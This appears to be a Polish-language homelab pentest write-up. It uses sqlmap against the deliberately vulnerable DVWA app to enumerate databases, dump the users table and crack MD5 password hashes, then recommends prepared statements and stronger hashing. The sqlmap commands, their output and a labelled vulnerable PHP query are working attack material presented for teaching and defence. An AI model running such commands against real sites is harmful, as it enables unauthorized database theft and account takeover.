PENTEST REPORT // RED TEAM WRITE-UP
Vulnerability Assessment:
Automated SQL Injection
authorMaksymilian Frankowski
date2026-05-26
classificationInternal — Homelab Only
toolsqlmap 1.8.x
target_appDamn Vulnerable Web App (DVWA)
scopeIsolated local network · No live systems
00 // EXECUTIVE SUMMARY
Overview
Poniższy raport przedstawia zautomatyzowaną ekstrakcję danych ze środowiska podatnego na atak SQL Injection. Test przeprowadzono w całkowicie izolowanym środowisku lokalnym (Homelab), na celowo podatnej aplikacji (Damn Vulnerable Web App), w celu demonstracji łańcucha ataku (Kill Chain) — od rozpoznania, aż po łamanie zabezpieczeń kryptograficznych.
PHASE-01 // DISCOVERY
Reconnaissance
Wykorzystano narzędzie sqlmap do enumeracji dostępnych baz danych.
Potwierdzono podatność parametru ID
na atak typu boolean-based blind i wyliczono schematy, co ujawniło
główny cel: bazę dvwa.
# Enumerate available databases
$ sqlmap -u "http://dvwa.local/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="PHPSESSID=a1b2c3d4; security=low" \
--dbs --batch --level=3
---
[*] starting @ 21:04:12
[INFO] testing connection to the target URL
[INFO] parameter 'id' appears to be 'boolean-based blind' injectable
[INFO] parameter 'id' appears to be 'error-based' injectable
available databases [2]:
[*] dvwa
[*] information_schema
PHASE-02 // EXPLOITATION
Data Exfiltration & Cracking
Skoncentrowano ładunek bezpośrednio na tabeli
users
w zidentyfikowanej bazie. Dokonano pełnego zrzutu danych (dump)
oraz w locie złamano hashe MD5 metodą słownikową, uzyskując dostęp
do kont administracyjnych.
# Target specific table and dump with hash cracking
$ sqlmap -u "http://dvwa.local/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="PHPSESSID=a1b2c3d4; security=low" \
-D dvwa -T users \
--dump --batch
---
[INFO] fetching columns for table 'users' in database 'dvwa'
[INFO] recognized possible password hashes in column 'password'
[INFO] cracking hashes with dictionary attack (MD5)
[INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
[INFO] cracked password 'abc123' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
dvwa.users table, triggering full data dump
REMEDIATION // REKOMENDACJE NAPRAWCZE
How to Fix It
Aby zabezpieczyć aplikację przed tego typu wektorem ataku, rekomenduje się wdrożenie parametryzacji zapytań (Prepared Statements) po stronie backendu (np. przy użyciu biblioteki PDO w PHP) oraz rygorystyczną walidację i sanityzację danych wejściowych pochodzących od użytkownika.
-
✓
Prepared Statements / Parameterized Queries
Zastąp dynamiczne zapytania SQL zapytaniami parametryzowanymi. PDO (PHP), psycopg2 (Python), PreparedStatement (Java).
-
✓
Input Validation & Sanitization
Waliduj typy, długości i dozwolone znaki każdego parametru wejściowego. Nie ufaj danym od użytkownika.
-
✓
Least Privilege Database Account
Konto bazy danych używane przez aplikację powinno mieć wyłącznie uprawnienia
SELECT/INSERT/UPDATEna wymaganych tabelach. -
✓
Strong Password Hashing
Zamień MD5 na
bcrypt/Argon2id. MD5 jest kryptograficznie złamany i nie nadaje się do przechowywania haseł. -
✓
Web Application Firewall (WAF)
Wdrożenie WAF (np. ModSecurity, Cloudflare WAF) jako dodatkowej warstwy detekcji i blokowania ataków SQLi.
// ❌ VULNERABLE — dynamic string concatenation
$query = "SELECT * FROM users WHERE id = " . $_GET['id'];
// ─────────────────────────────────────────────────
// ✅ SECURE — PDO Prepared Statement
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute([':id' => $_GET['id']]);
$result = $stmt->fetchAll();
const conclusion = "Cały łańcuch ataku (Kill Chain) — od detekcji podatności po odzyskanie danych uwierzytelniających — wykonano w pełni zautomatyzowanie przy użyciu sqlmap w czasie poniżej 60 sekund.";
// Demonstracja podkreśla krytyczne znaczenie Prepared Statements i silnego hashowania haseł w każdej aplikacji webowej.
$ echo "Report generated by Maksymilian Frankowski · zwidek.pl"
© 2026 · Maksymilian Frankowski · All systems nominal